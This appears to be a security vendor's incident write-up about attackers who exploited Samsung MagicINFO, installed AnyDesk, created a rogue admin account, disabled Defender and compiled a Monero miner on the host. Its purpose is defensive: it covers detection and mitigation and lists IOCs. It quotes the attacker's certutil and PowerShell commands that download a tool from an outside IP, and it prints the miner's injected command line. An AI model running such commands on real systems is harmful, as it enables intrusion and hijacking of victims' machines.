Background
Huntress researchers recently came across a unique incident where, after gaining initial access via exploiting a known Samsung MagicINFO vulnerability and installing a rogue AnyDesk instance on the endpoint, among other things, the threat actor aimed to deploy a cryptominer.
Cryptominers in incidents aren't uncommon, but what raised our eyebrows was that the actor in this incident compiled the cryptominer directly on the endpoint. They ran commands via Silent XMR Miner Builder.exe
(a Windows builder for deploying a Monero, or XMR, cryptominer, commonly associated with the open-source SilentXMRMiner project) that executed several .NET Framework utilities and an array of C compilers.
Compiling a cryptominer in this way on a victim's endpoint could have various advantages for a threat actor, including allowing them to customize based on the target environment (such as optimizing for the endpoint's CPU architecture). However, these processes also resulted in a significant spike in activity and was – ironically – quite noisy from an EDR telemetry perspective.
The Incident
Initial Access
Early in September 2026, a managed endpoint was alerted for activity that originated from the Samsung MagicINFO Premium installation on the endpoint. Samsung MagicINFO is digital signage/content management software; Huntress has previously detailed post-exploitation activities for vulnerabilities that have been found in this platform.
In this incident, the activity was reportedly associated with CVE-2025-4632, a Samsung MagicINFO vulnerability enabling attackers to write an arbitrary file as system authority. This vulnerability was fixed in May 2025 (after an initial, earlier flaw CVE-2024-7399 was found to have an incomplete fix). In reporting the incident, the customer was informed of appropriate remediation actions. However, eight days later, the endpoint was again reported for different post-compromise activity, which was tied to the same access vector as the previous incident report.
(Multiple) AnyDesk Install Attempts
The initial detections were for attempts to download the AnyDesk RMM to the endpoint. It took the threat actor three times to download AnyDesk from 194.87.89[.]30
. At first, they tried to use certutil.exe
:
C:\Windows\System32\cmd.exe /c certutil -urlcache -split -f http://194.87.89.30:8899/anydesk.exe C:\ProgramData\AnyDesk.exe 2>&1
However, this command was quickly removed by Microsoft Defender on the endpoint.
The threat actor then tried to use a method involving PowerShell Invoke-WebRequest
:
C:\Windows\System32\cmd.exe /c powershell -c Invoke-WebRequest -Uri ""http://194.87.89.30:8899/anydesk.exe"" -OutFile ""C:\ProgramData\AnyDesk.exe"" 2>&
This was again detected and remediated by Microsoft Defender.
Figure 1 illustrates the EDR detection for the actor's third attempt, which finally worked.
Figure 1: Detection of AnyDesk being downloaded
Notice the grandparent process tomcat9.exe
here. That shows that the command was executed through the Apache Tomcat service, which Samsung MagicInfo runs on top of (Samsung MagicINFO is a Java web application, and like many enterprise Java apps, it's deployed on an embedded Apache Tomcat server).
Once the download succeeded, the threat actor was able to install AnyDesk on the endpoint, and per Figure 2, set the password for AnyDesk.
Figure 2: Password added to AnyDesk
As with Figure 1, the parent process is tomcat9.exe
, which again pointed Huntress SOC analysts to the MagicINFO vulnerability.
Immediately after setting the AnyDesk password, the threat actor created a new user account named oldadministrator
. Figure 3 illustrates that the threat actor used the same passwords for the newly created user account and AnyDesk.
Figure 3: Password use
Following the installation of AnyDesk, the threat actor disabled Microsoft Defender via SystemSettingsAdminFlows.exe
, as illustrated in Figure 4.
Figure 4: Using SystemSettingsAdminFlows.exe
to disable Windows Defender
Compiling the cryptominer
Once Windows Defender was disabled, the threat actor moved on to their next steps. At this point, EDR telemetry showed an interesting command line: Silent XMR Miner Builder.exe
run from the newly created user's Documents
folder. This likely stemmed from the SilentXMRMiner open-source GitHub project.
Figure 5: Details of the "Main Features" of SilentXMRMiner on GitHub
What followed was anything but silent from an EDR telemetry perspective. There were multiple instances of the .NET Framework utilities csc.exe
and cvtres.exe
being executed, followed by multiple instances of several different C compilers being run, including donut.exe
, tcc.exe
, and MinGW64 cc1.exe
and gcc.exe
. Donut is described as "a position-independent code that enables in-memory execution of VBScript, JScript, EXE, DLL files and dotNET assemblies". Tcc.exe
is the tiny C compiler, and the remaining tools are part of the MinGW64 toolset. All of these compilers were seen running as child processes of Silent XMR Miner Builder.exe
.
All of these processes illustrated a significant spike in activity, in particular from an unsigned parent process.
Figure 6 illustrates the detection of the resulting cryptominer.
Figure 6: Resulting miner EXE
Finally, telemetry indicated the cryptocurrency miner connected to the C3Pool service (the public cryptocurrency mining pool) to mine Monero using the host's CPU, and potentially its GPU. Notably, it was running under explorer.exe
.
That command line appeared as follows, providing a detection opportunity:
C:\Windows\explorer.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=auto.c3pool.org:19999 --user=[REDACTED] --pass=186605 --cpu-max-threads-hint=100 --cinit-idle-wait=5 --cinit-idle-cpu=100
None of the command line arguments are "normal" for Windows Explorer because legitimate Windows Explorer does not use mining arguments (suggesting an injected malicious process); thus this can be used as a detection for this sort of activity.
Conclusion
Due in no small part to the number of managed endpoints across our customer base, Huntress SOC analysts see a wide range of activity, from new or prevalent ransomware deployment, to SQL injection, to some extreme outliers of activity. While Huntress analysts have observed endpoints with cryptominers deployed, having a cryptominer compiled on the endpoint is one such outlier in activity.
Cryptominers are not the issue themselves, though they do consume endpoint resources, The real threat is how they end on the endpoint, whether they're inadvertently downloaded as part of another package, or they're placed on the endpoint as a result of the compromise of a public-facing service.
The malicious activity outlined in this specific incident could be prevented through the following measures:
Patching internet-facing Samsung MagicINFO deployments promptly: in the attack, threat actors exploited a known MagicINFO flaw, which had been disclosed in 2025.
Treating repeated remote-access-tool downloads as a sign of compromise: the actor repeatedly attempted to install AnyDesk, then created a local account and disabled Microsoft Defender to maintain access.
Monitor for unusual compiler activity, not just known miner binaries: the SilentXMRMiner builder created conspicuous telemetry before the miner was produced.
Indicators of Compromise (IOCS)
Item | Description |
|---|---|
| Download source for AnyDesk |
| Password for new user account, AnyDesk |
SHA256
| Cryptominer |
| Newly created local admin account |